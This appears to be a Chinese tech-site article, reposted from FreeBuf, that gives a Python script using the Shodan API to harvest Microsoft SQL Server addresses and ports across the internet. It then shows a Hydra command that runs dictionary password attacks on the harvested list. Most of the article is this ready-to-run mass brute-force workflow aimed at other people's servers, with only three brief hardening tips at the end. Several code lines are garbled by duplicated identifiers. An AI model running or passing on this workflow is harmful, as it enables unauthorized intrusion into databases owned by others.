基于ShodanPython库的批量攻击实践

安全
本文以MSSQL服务器为切入点,以解决批量目标发现为目标,介绍了一种基于Shodan Python库的攻击方法。

SQL Server的弱口令入侵案例层出不穷,利用工具也大量存在,本文以MSSQL服务器为切入点,以解决批量目标发现为目标,介绍了一种基于Shodan Python库的攻击方法。希望能给有类似需求的同学提供参考。

[[188971]]

一、基本思路

首先利用Shodan的Python库获取并实时处理MSSQL服务器IP及1434端口Banner,得到IP和MSSQL连接端口的组合列表;然后利用Hydra进行字典口令攻击。

SQL Server服务使用两个端口:TCP-1433、UDP-1434。其中1433用于供SQL Server对外提供服务,1434用于向请求者返回SQL Server使用了哪个TCP/IP端口。

—— 百度百科-1433端口

二、实现脚本

实现过程详见脚本中的注释

  1. # -- coding:utf-8 -- 
  2. # Python v2.7.10 
  3. # MSSQL.py 
  4. # Written by Gaearrow 
  5.  
  6. import shodan 
  7. import sys 
  8.  
  9. # API_KEY 
  10. API_KEY = "YOUR_API_KEY" 
  11. query = "product:\"Microsoft SQL Server\"" 
  12.  
  13. # 处理输入 
  14. if len(sys.argv) != 3: 
  15.     print  
  16.     print 'Usage: MSSQL.py <page start:1,2...> <page end:1,2...>
  17.     sys.exit(1) 
  18. pagestart = int(sys.argv[1]) 
  19. pageend = int(sys.argv[2]) 
  20.  
  21. try: 
  22.     # 初始化输出文件 
  23.     ofilename = 'page'+str(pagestart)+'to'+str(pageend) 
  24.     ofilesrc = ofilename+'_src.txt' 
  25.     ofileip = ofilename+'_ip.txt' 
  26.     fsrc = open(ofilesrc,'w') 
  27.     fip = open(ofileip,'w') 
  28.  
  29.     # 统计变量 
  30.     numofport = 0 
  31.     numofnoport = 0 
  32.     rstlist = 0 
  33.      
  34.     # 逐页检索 
  35.     api = shodan.Shodan(API_KEY) 
  36.     rsttotal = api.count(query) 
  37.     maxpage = (rsttotal['total']+99)/100 
  38.     if pageend > maxpage: 
  39.         pageend = maxpage 
  40.     for page in range(pagestart,pageend+1): 
  41.         result = api.search(query,page) 
  42.         for mssql in result['matches']: 
  43.             # 从Banner中解析MSSQL的连接端口 
  44.             ## 删除换行 
  45.             ip = mssql['ip_str'].strip('\n') 
  46.             ## Ignore IPv6 
  47.             if len(ip) > 15: 
  48.                 continue 
  49.             ## 跳过特殊字符 
  50.             banner = mssql['data'][3:] 
  51.             ## 检查Banner 
  52.             if banner.find('ServerName') < 0: 
  53.                 continue 
  54.             pos = banner.find('tcp;') 
  55.             if pos > 0: 
  56.                 strlist = banner[pos:].split(';') 
  57.                 if strlist[1].find('np') < 0: 
  58.                     ### tcp;1234;np;.. 
  59.                     ipipport = ip+':'+strlist[1] 
  60.                     numofportnumofport = numofport + 1 
  61.                 else: 
  62.                     ### tcp;np;.. 
  63.                     ipipport = ip+":1433" 
  64.                     numofnoportnumofnoport = numofnoport + 1 
  65.             else: 
  66.                 ### no 'tcp;' 
  67.                 ipipport = ip+":1433" 
  68.                 numofnoportnumofnoport = numofnoport + 1 
  69.  
  70.             print >>fip,ipport 
  71.             print >>fsrc,mssql['ip_str'] 
  72.             print >>fsrc,mssql['data'][3:] 
  73.             rstlistrstlist = rstlist + 1 
  74.  
  75.     # 打印统计信息 
  76.     print >>fsrc,'===================================' 
  77.     print >>fsrc,'Shodan Summary Information' 
  78.     print >>fsrc,'Query : ', query 
  79.     print >>fsrc,'Total Results : ', rsttotal['total'] 
  80.     print >>fsrc,'List  Results : ', rstlist 
  81.     print >>fsrc,'Page  Start   : ', pagestart 
  82.     print >>fsrc,'Page  End     : ', pageend 
  83.     print >>fsrc,'Port  Assigned   : ',numofport 
  84.     print >>fsrc,'Port  Unassigned : ',numofnoport 
  85.     print >>fsrc,'===================================' 
  86.  
  87. except Exception as e: 
  88.     print 'Error: %s' % e 
  89.     sys.exit(1) 
  90.  
  91. fsrc.close() 
  92. fip.close() 

三、执行示例

1. 执行环境

  1. root@kali2:~/app/mssqlnew# uname -a 
  2. Linux kali2 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux 
  3. root@kali2:~/app/mssqlnew# python -V 
  4. Python 2.7.9 

2. 获取地址端口组合列表

  1. root@kali2:~/app/mssqlnew# python MSSQL.py 1 10 

page1to10_src.txt

src.png

summary.png

page1to10_ip.txt

iplist.png

3. hydra字典攻击

攻击耗时及成功率与用户、口令字典有紧密关系,网络带宽也影响速度。

root@kali2:~/app/mssqlnew# hydra -L sqluser.dic -P sqlpass.dic -t 30 -M page1to10_ip.txt mssql

四、安全建议

  • 设置MSSQL仅限本地连接
  • 修改MSSQL的默认连接端口
  • 分级配置各类数据库用户权限
责任编辑:赵宁宁 来源: FreeBuf
相关推荐

2021-08-17 15:00:10

BEC攻击网络攻击邮件安全

2015-05-06 10:02:26

2019-01-09 09:34:22

2023-02-06 08:00:00

2019-06-25 10:09:42

Web攻击机器学习网络攻击

2019-09-05 19:05:16

2017-01-19 16:09:32

2020-03-13 09:33:37

USB攻击向量移动安全

2015-07-17 10:25:43

kubernetesDocker集群系统

2022-08-08 07:05:36

KubeSphere分级管理

2021-09-30 09:53:47

网络安全网络攻击网络威胁

2014-02-25 13:38:17

2014-03-20 10:26:58

2023-05-22 09:18:04

2012-12-10 11:05:11

IBMdW

2017-12-21 15:01:42

2018-07-05 13:35:04

DockerDevops开发

2019-03-25 22:20:39

iOSCharles抓包

2018-04-20 10:38:25

2019-06-19 16:01:14

Spark数据分析SparkSQL
点赞
收藏

51CTO技术栈公众号